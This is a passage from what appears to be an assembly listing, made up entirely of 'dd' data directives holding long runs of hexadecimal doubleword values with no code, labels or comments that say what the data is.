0BD4E4F21h, 5141249h dd 0F4FA4182h, 44FAD1Ch, 0D4A3867Dh, 0DF9F2F4h, 107CE949h dd 0ECD019FCh, 831D18E4h, 0ACFDDF16h, 0DC0DEF8h, 4350C261h dd 0CCB1D25Bh, 98126F78h, 410BD023h, 47375291h, 0FC9D105Ah dd 1F0256ADh, 5D561A0Eh, 0C5CCB746h, 9A0CFB96h, 87B2CF85h dd 0A15F7A3Ah, 0ABD5A1F2h, 2EB54A00h, 0EE7AFA96h, 0AE144DEEh dd 8E8B1979h, 0B6A536ADh, 2AD33995h, 6CE71CC4h, 2C139143h dd 6F9B1A89h, 0D7F3B3A9h, 62220126h, 0D0210084h, 7F3F32h dd 0D9E7C28Dh, 5DED063h, 0FAAD2AC1h, 146DAA0Fh, 75399B74h dd 9A19FA4Ch, 0A571CA95h, 3BF0D26Ch, 7D02DAB8h, 5DB098F7h dd 0D62DFBE9h, 2BD4AB4Ah, 0CD9C6306h, 8EBBABA2h, 56110177h dd 49CE4CB5h, 55B6F154h, 318A4F26h, 7BF8928Eh, 0DE68FF12h dd 0DB3B5C0h, 75AAE3E5h, 18086572h, 65926361h, 0D8C218A1h dd 8E963B17h, 0B68C2B6Bh, 0B945AD4Ah, 0F31D34h, 0F7843871h dd 53CB16Ah, 0D539891Eh, 0C16F2C8h, 914468F7h, 2E4C5B98h dd 0E14BFDA4h, 9EEACD34h, 8882D45Fh, 3B167B0Ah, 0E37CADAAh dd 0E72884CFh, 84D6CE6Dh, 2F995619h, 0C3AC19B6h, 1DA05F89h dd 53871EAFh, 0CDB6BCCBh, 9080F1AFh, 8C19C5F0h, 5476CE03h dd 0DF81D408h, 0BA89FF5h, 9845EC82h, 0A01BC3B6h, 0C39DB3Ah dd 0F23E5262h, 0C96B1D8h, 1B6A421Ch, 63517A03h, 4C5E0B93h dd 0C29DBD3Ch, 1C4702DBh, 0D8790675h, 2E73CA9h, 0DDBBC7C3h dd 8027556Eh, 0BFD0EFF4h, 30E6CF13h, 0E396193h, 5941E975h dd 0CA7D4DEBh, 2101F8Bh, 0FF26B0A2h, 125D632Bh, 0FF2A294Ch dd 51F38C06h, 0C9411FDEh, 8766BFD2h, 59E800CAh, 450440ACh dd 5842FDA9h, 0BF54C13Ah, 35855BC1h, 0F13B91BEh, 130A4A82h dd 6207B40Dh, 0EA5A8694h, 693E7BC7h, 0D7009F60h, 79F1C8h dd 7B25472Fh, 0D48CAFB6h, 1A9B093Dh, 0C5003ED1h, 3A2BDD2h dd 0D84D839Eh, 483F9E6h, 1B24E2DCh, 652B9017h, 0CAD1D612h dd 5F7F6A3h, 0DA5CA6C6h, 0DD46DCBh, 0E764A996h, 64328FCBh dd 0C98B44D2h, 4A91F5Ch, 0D4383CF2h, 213A8D2h, 680711ACh dd 0CAF6BF42h, 970FF544h, 8A36CC4Eh, 0AE7375B8h, 241F2E0Fh dd 0E12085B8h, 82D257C8h, 0B293313Bh, 3BBCCD8Ah, 0F7BF57E4h dd 1F122A1h, 9236842Ch, 0A8B756F4h, 26273004h, 0FF5F4849h dd 19FB108Fh, 0D2EC0566h, 0E6F3336h, 0D03CC9C7h, 0EDEDB20h dd 70A5A149h, 0DF7FE088h, 10477E10h, 4FF9EFFEh, 0D8014717h dd 31771319h, 7D8BBE66h dd 0D8D8F14Eh, 11EC6410h, 4CE76131h, 0DB8002E3h, 0F003BC0Ch dd 1CFD0FA8h, 69394983h, 403BF18Ch, 4DB34B52h, 0B2EC10AFh dd 3D9CBAD2h, 78FF5065h, 5835B681h, 0E890880Ah, 75A4C59h dd 0E5F729EFh, 86868784h, 3CC66171h, 0F28DB9A7h, 6C6907E9h dd 0CAE7BCFFh, 18779EDh, 0DC6AA77Ah, 3908841h, 9E13FC18h dd 0A12F187Eh, 2E1B947Bh, 0F13A13ECh, 0D21DB26Ch, 9D066C1h dd 0E9F2AD98h, 0E40A82F1h, 0E1CD22h, 0E9F8D056h, 0A56F5DC4h dd 0BE7B937h, 0ED1F0815h, 424B262h, 0F0ABF3A5h, 9927CD16h dd 97FDF505h, 0A8776F98h, 0A7A1E59Dh, 0A13C473Dh, 0C39039AFh dd 3217C917h, 0F2525496h, 268A04Dh, 120EC6B9h, 0E92737AEh dd 748213Bh, 0E9604680h, 77A921Fh, 0E91540EAh, 7F317B2h dd 0D692C198h, 88D1D4E7h, 364B23CCh, 0F9CE244Eh, 26062756h dd 4196180Dh, 0DDD85963h, 315B1EDAh, 0FEEFBAF6h, 9AAD726Dh dd 3375A662h, 7E314259h, 0D11E3009h, 77AB4792h, 0DD141034h dd 0BAF4464h, 7312F300h, 4692C84Ch, 35E7D314h, 7D3F5864h dd 592962CAh, 4B778C49h, 0F28D76F2h, 164B6F71h, 0D47795DAh dd 0AF77A59h, 0F1668CC0h, 1F2F846Eh, 7152728Ah, 0DC2B2E47h dd 7371391Ah, 0DDFC48CDh, 0B1F9768h, 11A4FBD4h, 0ECCE926Ch dd 2405A68h, 0ED1838E7h, 0A2BC8F14h, 0DDC1642h, 0EC97B9D7h dd 621E8BA2h, 46944AFFh, 90DFA98Fh, 8CF9444Ah, 3A608F56h dd 68D309E4h, 4FAFBFFAh, 0D8D3F8F3h, 0E0EBC778h, 95787839h dd 27B1A4CCh, 6EA6CEB2h, 4B543C1Dh, 0DB2E29B1h, 2321CDFCh dd 0C70B5BDEh, 2FE2836h, 9BD7089Eh, 246A1EA2h, 0E944DFE6h dd 96305164h, 0D171160h, 0EEC28537h, 7A27579h, 0D36B3306h dd 970CFCBh, 0F61DADD8h, 980C63CEh, 378C07C9h, 78F30909h dd 0D74151CDh, 31D51C00h, 7B63BE65h, 5DA4F7EBh, 553CEF47h dd 69BE255Bh, 0AEC3278Dh, 0BCD648C0h, 0BBB21766h, 384746CAh dd 7A77F0E1h, 42E94760h, 0B75D93E5h, 0BCB278C8h, 0B937736Dh dd 3A3A8401h, 0FB5F7353h, 13F46C86h, 0D6491AEBh, 8D873B89h dd 0B280ACE5h, 3EB59422h, 41F5FBCDh, 0D7856927h, 74D0D8A3h dd 0DCA45C3Fh, 9689D9Ah, 91BDFCBDh, 2DC010EDh, 6361144Fh dd 0DCDE58B1h, 0AB999EB0h, 8AF1F26h, 0EA0CBE8Ah, 0E1AD8936h dd 8785C94Ah, 0AF8E5186h, 82079BACh, 0BD53809Ch, 6C957E69h dd 5AD193D1h, 0AB44C671h, 0A9D9C6CDh, 0B12CF842h, 0B4F7E56Bh dd 362128A4h, 766A2DB8h, 0D6002363h, 29A7CA6Dh, 0C1295BFDh dd 6A0AEE6h, 1CD14F6Ah, 64D8F811h, 0C91ECF14h, 868ED97Fh dd 3820D598h, 0EF88EA09h, 0D70F72Bh, 0DE3AE642h, 85AAEFF8h dd 0BA4517F4h, 0B4FC963Bh, 4B971743h, 7C6034DBh, 0DFA4A444h dd 3FE60CB3h, 0F67EBC8Eh, 11437A8Eh, 794023FFh, 147E0869h dd 6BE9DB54h, 0D53E5DC0h, 8297106Ch, 0BA5D4B9Ah, 0B5A7FABDh dd 0AB75CC2Ah, 0A34256C0h, 0A05D1C41h, 0A03A86B1h, 429D9A89h dd 0F2B079CBh, 12D76C0Dh, 0D2EB9C8Dh, 0A23FC93h, 753BCAA1h dd 5FB06271h, 50C4A2A8h, 0AE59841Eh, 38C7CFBDh, 0FAD2D513h dd 1A4ED93Eh, 69D5DF3Eh, 20871E0Ch, 0DB3E1C51h, 0E275627Fh dd 0A5A8A218h, 6141211h, 0E682B217h, 6E888651h, 0C85E464Dh dd 80BF1EA3h, 1D03B488h, 0EA4B9F94h, 11C4F8BFh, 656D668Ah dd 2380D50Ah, 6C83B037h, 52CDE061h, 47F7EB47h, 3C062C30h dd 707E2EA2h, 0D5F321F4h, 24E7CB89h, 0C46C59B7h, 4EC2F5Bh dd 9AAE8ED5h, 0A4ABDEACh, 0A88F7F8Ah, 0B76A20B7h, 0B161C853h dd 2ACEE555h, 6C766F5Eh, 0CFD7A9A5h, 0BE898BE4h, 0B739048Ch dd 0B3679F26h, 46901EC6h, 73CD38C4h, 0D159A973h, 312901E6h dd 78D5B213h, 0DF3FF460h, 976E6DDFh, 0A66E663h, 7C15C4B4h dd 0C6EADA15h, 0B2ED5A53h, 3B88675Bh, 0FFA5FB4Bh, 85C6C8DEh dd 97A9513Ah, 16F1A67h, 9DD8A01Ch, 481FA133h, 0FDAE7065h dd 1D6862ACh, 0DEDD13ADh, 8606B0BAh, 38E0E767h, 744A7EE1h dd 2B73A14Dh, 627C846Dh, 0D9B8C9A3h, 8C505281h, 17E51E13h dd 6B6D39BAh, 24D32821h, 61F92260h, 0DB4B2406h, 0AEDB8661h dd 0CEE19A1h, 0EDFFB86Ah, 0E5C48DEAh, 3A9CD92h, 6BB2D5ACh dd 0E1CFD837h, 0EE0F6309h, 1849AD5Bh, 6B1A06D6h, 0A075CF55h dd 2711B537h, 7EC5EB2Dh, 5B92E6B5h, 49412361h, 0EED624CDh dd 0E4971340h, 2687F89Bh, 0C4B95A99h, 460AF85h, 1B48CE5Ah dd 0E4EBBEA8h, 8A3F6EA0h, 255C2A4Ch, 0EAEBCE22h, 194AE45Ah dd 6F43E3DDh, 0CA7C6764h, 0B16AA76Dh, 0BF817F2Eh, 0B88D8DD7h dd 439D177Eh, 76403B4Fh, 0D48EADC2h, 375E04C1h, 0FEDFBBB3h dd 9960720Eh, 0B15EABA8h, 3DD8C1A9h, 0FD027302h, 0FB831B35h dd 0B9907F67h, 0B35160EFh, 35A50B8Ah, 0EB6ADD55h, 828E5C3Fh dd 901A1E58h, 0A8D29900h, 454C985Bh, 0F0CC787Ch, 13066C09h dd 0D3069D09h, 0B9B7D28h, 0F3ED0B9Fh, 9EDF4556h, 3171930Eh dd 82047DAFh, 0FD5EEF33h, 0FB3DEA86h, 138657BFh, 67E81277h dd 2C3A33D8h, 8BFE27FBh, 0E1051A4Fh, 0A45FBE10h, 62D1C0Bh dd 36F7B306h, 5F89B6B6h, 4CED76F0h, 44529DEDh, 0F98BF077h dd 9ED97B1Ah, 1CEDADEAh, 648A0BD0h, 28CCC4F7h, 0EEF2BF6Ah dd 1428E212h, 6098EC52h, 4AE429B0h, 7E5E2F23h, 0D64B27CCh dd 211BCC23h, 0C2D45E04h, 3062867h, 9BB109F2h, 24B59E64h dd 68D21F59h, 0D74530D7h, 0E156C016h, 130DE164h, 63C26CB1h dd 0CBF32971h, 0BFCB4E49h, 0B43F66B7h, 0B0FC8D8Eh, 4B161BD8h dd 7EED3193h, 0DC29A21Ah, 3C1D0DFAh, 75EAB0B0h, 52AEF90Fh dd 0DAEEE03Eh, 27F5ABFCh, 40726921h, 0C2BF265Fh, 0BA214E1Ah dd 3598675Ch, 71D80D59h, 0CA23D8B9h, 0FE125119h, 94A7129Bh dd 0A0FC9510h, 4B1B9477h, 0FE3377E4h, 1CC063A1h, 0DD8C13D5h dd 85FA33D9h, 0BA1725D7h, 0B7815C92h, 96D937Ch, 7FC271A5h dd 0CF47D8CFh, 0FF695382h, 16A1905Ah, 63E07642h, 28ABC73Ch dd 6DB63C4Dh, 0D735207Bh, 0A27F8E20h, 611B31h, 0E0B9B5D1h dd 0E8B8813Bh, 8E85C0C4h, 28E65F2Dh, 0C4D31D2Bh, 9BA5466Eh dd 15819888h, 6B167AB5h, 0A660D753h, 0A2CEB3CEh, 3944EF36h dd 7D24E136h, 5FF824B4h, 4FAA22D7h, 0D65B2A20h, 2D85C1CBh dd 0CFC753AEh, 0EFBA5C2h, 167D4456h, 6CE07618h, 408E0715h dd 0CF05308Bh, 9114CC5Ah, 16C8EB58h, 0A0CADEB5h, 0FF83DDFDh dd 0BA975B1Dh, 0B1935343h, 0B57C700Ah, 4F6603A0h, 7AB53BF7h dd 0D80DA764h, 38C309ABh, 0F11BB4A0h, 165E7C1Fh, 0FE6924DEh dd 53758F74h, 4CF21DADh, 0C23F3ADDh, 0BF894541h, 0B65866FBh dd 0BC680140h, 26DBD54Dh, 0E2F25225h, 80B71EFBh, 0D0049900h dd 91F987Fh, 0D55D7A68h, 3A896FB3h, 0D19CA61Eh, 3C03C60Ch dd 49C7700Bh, 0E3609976h, 2C11BE90h, 72784851h, 0F5A4EB33h dd 0CF7EE486h, 23C9E6D6h, 547C6196h, 1E55E140h, 5BBF0279h dd 0E175925Fh, 944E7A08h, 363D0E0Bh, 0D6F37414h, 5EEFAF37h dd 0F8DC7AB0h, 301A2FF1h, 0EDD70553h, 0BAA96FE2h, 1095A85Ah dd 5C0A47CEh, 1E44EC64h, 5B6285EFh, 0E030D79Ah, 3478D84Ch dd 6EAC1DDBh, 0F2FE1C6Eh, 2D0B1368h, 73DFF897h, 0E5226ACCh dd 4E571CD5h, 0E329BD27h, 0B6746AB8h, 0F2A0BBDh, 0FA3EF43Bh dd 0A96AECE2h, 282FD998h, 503D5FB5h, 0FC6B9D7Dh, 8BAF3BDDh dd 817D726Bh, 840B48CAh, 7E3FB6E4h, 4BE148AFh, 0E96FB53Ah dd 95837BCh, 40A40D43h dd 0E7F6099Ah, 2F897742h, 729DA968h, 650225C5h, 8FC70F6Fh dd 83A17544h, 61057A7h, 0C7483E4Ch, 3E3BEDE9h, 0EB726B67h dd 0B12F2768h, 6DBCA0D5h, 0F2ABA1CFh, 8D8F43A2h, 0A0A5666h dd 59C3261Eh, 7863860Ch, 6BD7500Bh, 0D0788976h, 2595B690h dd 76BE4C51h, 0F785E933h, 0CE0E6786h, 23412156h, 0BF281D6h dd 38F8CC05h, 2994E214h, 94CBA7DBh, 0DFE51A56h, 2B10F883h dd 0B6BAF239h, 2FCA679Bh, 0D5D27991h, 5266821Fh, 23668A11h dd 0AFE3D3B1h, 0BC243E52h, 65C73DA7h, 5DAC768Ah, 0A1DCF765h dd 8F166A03h, 3525A70Fh, 0C6985049h, 0E5123180h, 0C1F6F346h dd 0BA7ED174h, 5AD596DAh, 0B07EFC7Eh, 2D234468h, 0BF8D46AAh dd 0BD4D1F67h, 0D4DEC14h, 6DCC11B0h, 311B8D0h, 6291BAF3h dd 176DEAFEh, 73223332h, 0E9403E01h, 0A290A39Eh, 634EC78Bh dd 40DF4F22h, 68457F6Eh, 10BB411Dh, 32A9F255h, 3D90A93Fh dd 0CC8D1D5Fh, 4C07CE38h, 0B5FE86A4h, 9FABCEEFh, 0FBCC8AFEh dd 30591454h, 0BBBED57Ch, 4A436D77h, 2407A7B6h, 0ED76F5B9h dd 0C7E58964h, 510E6BB1h, 1E79EEBh, 922C2A47h, 3DDD48EBh dd 0B9E68CE8h, 831E9242h, 78CF02C4h, 0C6F200CBh, 0F1A017A9h dd 0CA87BDE1h, 0AE87EDFCh, 0D50864DAh, 4A484F11h, 0EAB888D7h dd 86041648h, 0C953411Fh, 110F3FB3h, 2361ED41h, 41B864A5h dd 4CE4691Dh, 0F829C78Ah, 8BA9AEC6h, 3000AD25h, 8D364BD4h dd 3148A218h, 0C07E7829h, 0BEEB058Bh, 85A74BBEh, 10092CA5h dd 359AEB6h, 5C582E6Fh, 0BA3E35CEh, 8D471380h, 0A38AAB85h dd 8D164596h, 981C5931h, 0B32274C2h, 0C7A75C6Fh, 0DDF16D24h dd 8D88A89Dh, 800A165Ah, 6222FEF2h, 0A04996h, 0DA22B7FCh dd 43C88D64h, 309D998Ah, 0DA9D28CDh, 5E62EE87h, 50506CFh dd 8FE70B53h, 94243DE7h, 635172BAh, 0B9EED3ADh, 0B305AD60h dd 63B7A263h, 26A29E76h, 286754D3h, 0CA8F9F35h, 203C9673h dd 7A8AB82h, 0B2532E4Bh, 82104F14h, 0ECA8D7F8h, 406703ECh dd 0B60469C3h, 4B8AB7EAh, 88BA50E6h, 0A16703F8h, 0AEE680E9h dd 6BE4015Fh, 43F650A6h, 1D660999h, 7F221B51h, 7CF6FAA7h dd 6CD4AD49h, 0FA53F517h, 9A249123h, 991BB560h, 4307A475h dd 0B2E1EFEAh, 159A0A16h, 0B33B98E0h, 296E79E9h, 0E53BFB1Dh dd 7F785864h, 0F27D47E4h, 0B0E3C690h, 0BAF8CAAh, 0A6B0A669h dd 0AC7AD09Ch, 5CE8D392h, 2D20EDD1h, 8E635ED1h, 354BD02Dh dd 0CB4BBE36h, 0A823E0h, 737A5D28h, 0E12A656h, 5F9C9D07h dd 0AEB86666h, 816A92D9h, 9C2D611Ch, 0B0B97CF6h, 6562444Ch dd 7E78551h, 1D30F48Ah, 0BDA4FCE3h, 0F5E4C117h, 0EFA03593h dd 6ABCB8B1h, 1BF8BF6Bh, 348F605Eh, 0BF207D50h, 0B8EA1EF2h dd 0DF95C173h, 7D6324A3h, 0DEE95F4Dh, 54495CBDh, 0F4D25355h dd 0DB15699Ah, 0BF4CA6D7h, 3C22647Eh, 0C644289Bh, 0D8C3F7EDh dd 3743B695h, 18EF6696h, 2520293Ch, 0D4E9597Ah, 69C42145h dd 53151C26h, 5DB32F56h, 0C4B3F983h, 9242FD85h, 0C93FE0C8h dd 17DCA538h, 8033C827h, 36BD5E93h, 0A6636E8Dh, 9067960Ch dd 9064D1FAh, 498986EAh, 0D869C412h, 0BDC40D35h, 0D6D44256h dd 0AC99FAC1h, 0EB3507DEh, 499B435Ah, 6C5A01F8h, 0A299334Ah dd 38215A56h, 0AF53524h, 9B302581h, 7CD35037h, 6633B305h dd 7DBD702Bh, 57249D4h, 0F437500Dh, 747EA74Ah, 0C99CBCB6h dd 28FC9839h, 0D6595F40h, 521C2588h, 0A48BF77Dh, 0C93B6D10h dd 2E91BBB0h, 0CB6148DBh, 771FFA95h, 12D9C4D6h, 0D3928BCFh dd 0CF41EC0Eh, 0FB61CCE0h, 0B64D0A41h, 0E6FCEAD7h, 6EE512D5h dd 415FFDD1h, 1035DF9h, 4DB5ED15h, 95E86220h, 97E3B782h dd 4630277h, 0BD5AD575h, 0EB152F86h, 5297F98Eh, 49BE5210h dd 6ADAD4F4h, 2EE027B0h, 886F36E6h, 0E3B76E21h, 6FC3ED65h dd 0FC2166BFh, 8A95B7C2h, 43883FF2h, 0FA2843EAh, 8B4CF37Eh dd 92D3E58Bh, 599EC717h, 9E94CBF3h, 2489785h, 7180532Eh dd 7E654ADFh, 942ABDBFh, 978C4884h, 5BC2DF04h, 4811784Eh dd 8C24FE66h, 0E7B98E66h, 0F75C84A9h, 0D1FFCA0Bh, 7C1EC28Fh dd 0EE7A5ABCh, 2E9C261Ah, 938CA81h, 5F309A19h, 35E13E43h dd 3B13FFDFh, 0B201427Fh, 6756E046h, 9C4FFBFCh, 0AAD7DF47h dd 46F5687h, 0D1254510h, 3A20CFBAh, 0F0BA16E9h, 0AAB0510Ah dd 0E82ADF8Ah, 6D032F64h, 0D9A33C1Dh, 3E4B392Dh, 9327D28Ch dd 9DDD6938h, 6AE6D3F7h, 0E3DE2C8Eh, 16793CBFh, 6C028177h dd 0E8E7DD71h, 0F3FC3D6Ah, 297EF025h, 6C643A59h, 0DA70142Bh dd 46F42EA0h, 0B9BDBC87h, 828D5055h, 62C597EFh, 1EAD03DDh dd 0A72113E3h, 8389FCF4h, 855613A8h, 0A72FB6A4h, 73D2DAFEh dd 9A2C23A5h, 0D6986B9Bh, 0D5423626h, 79DA78BDh, 65B54624h dd 20B58ED4h, 3927F4C2h, 18F0CB8Ch, 0FC4E3CF3h, 1FE1F7CBh dd 948A86D2h, 97F9D31Dh, 6CA40F83h, 0AFBFA36Dh, 4E9EDC6Ah dd 8C7822AFh, 62EF594Bh, 79141C03h, 780E7770h, 0B5D990B6h dd 0AA71A9A5h, 0CCCF2EC4h, 0C668FBFBh, 73AFA07Dh, 32F92236h dd 0CB42AE06h, 15A21071h, 0FFBF5619h, 6767A6B2h, 0DE2291A7h dd 0C2FC342h, 0C2BFB56Dh, 7B64C30Bh, 37A87502h, 9F3A0521h dd 230BA8Ch, 0E5AB099Ah, 63FF38CCh, 2A5140Fh, 8F8C3D6Ch dd 21D980C8h, 1BD707D8h, 567FD433h, 21C9A70Bh, 794CDAEEh dd 0D74DA4A0h, 34AB00B9h, 9317C27Ch, 2898FEBAh, 23434587h dd 5FD257FAh, 0EF2309A8h, 337A734Eh, 2B1B4D16h, 7401646Bh dd 0BFBAE4C7h, 5FDDF1E7h, 8F256664h, 0A38587DBh, 8EDE961Eh dd 0F002E4E0h, 50D38C6Fh, 0E68A669Eh, 0C37CE2A4h, 4EB23624h dd 0F2731353h, 0F4C60A84h, 0B0F9BB05h, 0F6314D7h, 9F90A639h dd 28DBE11Bh, 62C7CA38h, 2B73EB19h, 0B4089949h, 0E1007AEh dd 34875459h, 4BF9AF34h, 0AB8A6C7Ah, 18DF7DACh, 920D5DB6h dd 0C58C524Eh, 9C450BDDh, 0CFF6B88h, 444788CAh, 0E671728Eh dd 76D52823h, 0E4671CE4h, 63E9BCB9h, 143BE175h, 4E305449h dd 20D0DE1h, 0E2A9C123h, 0A821E941h, 45548DD0h, 89876C40h dd 0F6C1FDF8h, 62850F4Eh, 78EA5BBh, 0BC57032Ch, 0BC3A7AFEh dd 9B4DE213h, 14A0DA1Fh, 3D69ED54h, 0F309DC27h, 0FB2B4D29h dd 0AFFBDF8Ah, 0FD6143E7h, 29302C17h, 5D12EACEh, 79D51E36h dd 31178EBEh, 7E53B71Ch, 0E9A32565h, 8270B4B4h, 978F9A0Fh dd 0CC71C8E7h, 30BB3F0Eh, 0FF92B415h, 28452337h, 0F3B31CA8h dd 0A22BA8B4h, 2930282Bh, 3946A69Dh, 394CFEBBh, 0ECA13403h dd 4D88D00Eh, 1B8C7228h, 0EE938E08h, 6D7BF51h, 0C5C73786h dd 1BC30CB3h, 4C30F1BBh, 86811C42h, 0C358E254h, 0ED38C6ACh dd 0AFEDD17Ch, 8B8A4CFDh, 35AAEE35h, 5FCDB2C0h, 0E12FED64h dd 0EFC8BFD8h, 1BEB8D03h, 209E8523h, 998349AAh, 5C716959h dd 0CE9274C9h, 66765480h, 991BBFA3h, 2F1F7625h, 9C68512Dh dd 0F0A9108Bh, 0C22472A1h, 0B4AB321Fh, 27A95DBCh, 51496FBh dd 0C035CFCDh, 0D00A408Fh, 0ED6436F9h, 0BB56B8BCh, 0C32A1DA9h dd 0B5330AE6h, 500C6802h, 0EBC69D2Eh, 0F44A2102h, 0BDD21B56h dd 1D69ED91h, 4D108494h, 55A61FAh, 6EE2B41Dh, 22A85C60h dd 104CE18h, 2954291Dh, 23F65002h, 0E9BB811h, 0C0D9524Ah dd 58CD5EB9h, 0C5C3CC04h, 477DF3F6h, 288EA2E9h, 0E89316F6h dd 1CF492B5h, 89B8E73Ch, 435069F2h, 41099327h, 443C28D0h dd 0D9C864D7h, 0C22FFE28h dd 2F34AF9Fh, 284136DCh, 0C1752DA8h, 0BF724EE7h, 4E97FEEEh dd 7FBBD1F3h, 7D8982CFh, 0C9EC55D3h, 0ED84B114h, 83C297C4h dd 44CF9E02h, 0FD88D5D0h, 0E2D1C3D5h, 211FB666h, 4737E419h dd 73D0BD7h, 7AF03DF5h, 47523C1Ah, 3D68D723h, 6817CE98h dd 0AC1BC9D5h, 0D4572A74h, 0FFF4ABF1h, 27879506h, 7A29E431h dd 0ABD02767h, 8E2276CCh, 0ED1242C4h, 0C33CC268h, 10B80F31h dd 0D4D68758h, 5C484FB1h, 2FACC29Bh, 84E85944h, 0FCB4CFC6h dd 0D1F1BEE4h, 4C709817h, 8C433033h, 0EF0B9626h, 0C5731543h dd 8FCC34E1h, 0ADCE56Dh, 12F08ECh, 57F66054h, 0E0D0221Bh dd 0A3B0F328h, 790E9059h, 0CB84399Ch, 9B515820h, 7D9A44B2h dd 0B6C7B296h, 59C1399Ch, 71161633h, 1A1236A1h, 0E27A9A18h dd 0B0AB1193h, 2571E07h, 0FB6F966Fh, 2F282Dh, 0A0D4CD0Eh dd 0AF8A4412h, 0B2FD122Dh, 4EA7D16Fh, 306762B6h, 2DC6F364h dd 2A2937DFh, 6312AF3Ch, 291434F2h, 0D161E1BBh, 0D3B19C9Ah dd 785C5FCDh, 4AE59A3Bh, 50B77221h, 0F25DE64Fh, 39D0CAA0h dd 0F4770714h, 9F7B6B2Ah, 0E1E37953h, 67AFE16Bh, 7F111D22h dd 4F9A6A51h, 0B5D5F29Eh, 0DBD57951h, 1DA14CC2h, 0AA8B7ABh dd 0A7BF76F5h, 0BB98BB82h, 3AFADFF1h, 0D9756999h, 0D3C33A51h dd 0FE5170AAh, 0BB9062C4h, 5B8E8AE2h, 0D0E10B4Ah, 8FDFAB84h dd 94CCE3E8h, 2E3CB1C4h, 791DCBEFh, 47E9FEDAh, 4B12E219h dd 25B7C6F7h, 487A259Fh, 0DF4EA975h, 8D938ED6h, 0B6FAF2E0h dd 0A5C63BE8h, 0B73F4DB9h, 0C4336BD2h, 14ABA0C7h, 4AA271BEh dd 6FB036DCh, 6BA3CEECh, 0D9766ADh, 0A5C3555Dh, 26B7A815h dd 0E69CE4CBh, 40A0E1E3h, 0EBCB0595h, 703D9CA4h, 834A53CBh dd 0A4D1F3B9h, 77C8CEF8h, 17784D60h, 0DD553D17h, 0C02F4F2Eh dd 0A260BA5Eh, 0AAED0C8Dh, 993ECF30h, 9EED19D1h, 0A4E8C83Eh dd 0DE666306h, 0E64A91B4h, 0C8E51F44h, 0A5238076h, 6202F390h dd 0F055ADE7h, 2293C5CCh, 98FFDF6h, 7C3D089h, 0DF2A3594h dd 88FE6036h, 231603A0h, 0DCE9F247h, 93783221h, 0D2E8E25Dh dd 0C1A11F5Fh, 858ABCDAh, 0E3CF389Ch, 11EB3463h, 591A7D10h dd 0CC10DC86h, 0BCE5AD83h, 8305D4B7h, 5C21A267h, 659ED71Ch dd 0EC58F081h, 9FE89EA9h, 0A4DF7BCCh, 74E2F20h, 5A83731Eh dd 50C1C8ACh, 3E8D475Ah, 0EFEF1568h, 0B0BD8D64h, 0A0C0F9B7h dd 0C0EBDDCBh, 7500DE58h, 0BBF2C48Dh, 0A927B86Ah, 0CE7D2657h dd 0EF1A5A0Ah, 0AF508DF2h, 0BFC51151h, 0D3BE5952h, 0E59680D7h dd 0A997E408h, 0FDE15528h, 73875EB3h, 89A25859h, 33CDF3C0h dd 0BF273529h, 0DF6B6B1Dh, 1A5BF408h, 1934E85h, 0F1AF0BFCh dd 1FCD13CCh, 0C4209A68h, 99959397h, 4930B636h, 9E028602h dd 64FA4630h, 7E2C7866h, 169FBED6h, 4B188842h, 826478ADh dd 0DEE6F593h, 41DDA25Dh, 15E42B85h, 0C91A12E5h, 5FC4344Ah dd 0D55AFA18h, 0D4A8CFE2h, 0D910833h, 2DA7639Eh, 727BD1CFh dd 0C6419406h, 0A63E1957h, 0EBA6841Fh, 6BAD07Dh, 3BDD150Ch dd 0F5274D9h, 0CF3FE254h, 0F5453682h, 4712EE95h, 5A9D0179h dd 1C379516h, 0C642D7FBh, 0EBBE7456h, 0B0A8BABDh, 9E1B4D57h dd 45190198h, 0AC79ECC5h, 2F41C3D7h, 0E42EDB16h, 0B8F63184h dd 0CBC935CDh, 39BBFCA4h, 0A5DC9303h, 5B01048Dh, 0AEBFF43Fh dd 47A308EAh, 0FE923D63h, 0B0DE1CFh, 1FC0B3B3h, 8EDDB62Ch dd 39FE479Bh, 0A93AD0C2h, 0DA067B0Fh, 3041C164h, 47B46B1Dh dd 0D03BD929h, 204B66Eh, 9C476C62h, 0F0C98FBCh, 2CD7B918h dd 6A42211Ch, 1A7A4023h, 0DDD01F5Bh, 340470EFh, 0D6869E8Ah dd 869406A5h, 7D235F72h, 74D22E48h, 82E76C5Eh, 0E317A693h dd 0A46CB75Fh, 6E6FB704h, 792F13C5h, 99A824Eh, 5C2FC535h dd 259BE7h, 0C98F3E6Ah, 0EB4A0EDCh, 9E2DB2BFh, 0EC21AC1h dd 3AE847Fh, 1B400E58h, 0E579FFF6h, 13AA28BEh, 435A3857h dd 1752470Bh, 0FAE8BDF2h, 6799DFBDh, 0ACC18D67h, 0A518835h dd 7941E9B3h, 8CBC92F3h, 0F0B9E69h, 97A328CCh, 0A50FC7F5h dd 5FA770AEh, 8BF1ED9Dh, 3B0111A2h, 8CCFBBAFh, 799CBAC0h dd 98B40173h, 0F712A18Ah, 8AAC412Eh, 3BF799EBh, 0E72F561Bh dd 0DDA8E348h, 43D5312Ch, 94B7B804h, 0EFC0CA7Dh, 0C311AE2Eh dd 0A72D5FE9h, 0F6A0F3F0h, 2AF25C28h, 70604436h, 60C104E4h dd 0A9922936h, 9853C7A9h, 843A7D9Fh, 29C020A6h, 345FB751h dd 0EDD2C3C3h, 0FACEDA49h, 0F2BDB111h, 5ED987FBh, 7AF81AF2h dd 17C4F0CFh, 6624098Dh, 0C50AECCDh, 1EEC8E81h, 0DA023E32h dd 7CBCE14Ah, 52967F3Eh, 6956B346h, 0C402C1B6h, 6A8E16D5h dd 0E4BD3B22h, 55B44EBAh, 0F30AFAC7h, 97058BCh, 0A60E7FFDh dd 79B1D082h, 802FF7E3h, 0F5EC0CC2h, 57EA7061h, 2A74FE92h dd 0A2DE427h, 0F532B9F3h, 1F34E412h, 3D1E7AD2h, 0D48A7E45h dd 58232681h, 0DE6D0FAEh, 0B8C11349h, 6FEF3820h, 0E8DC184h dd 12C8B33Fh, 0E5C1CEh, 5F7CBE73h, 67D47964h, 0B6354406h dd 0C02B6607h, 13F27715h, 0A2D81FF7h, 9BEBCA9Fh, 23A98592h dd 0AF6DE3B8h, 0A55E7191h, 0F72E8128h, 289797C9h, 0B7D88785h dd 0D8F6C03Ah, 8D3A3FD6h, 5BBB0F1Fh, 4350EC0h, 99D5297h dd 765BDCC6h, 40A0D367h, 39458005h, 7AE5254Bh, 5BCB6AEBh dd 712A256h, 7E05C071h, 29E27D5Eh, 4C893988h, 4E52AEFCh dd 5E052CEBh, 0F0419C34h, 9828A784h, 534C4528h, 92C5CF95h dd 0E218050Eh, 8B13E094h, 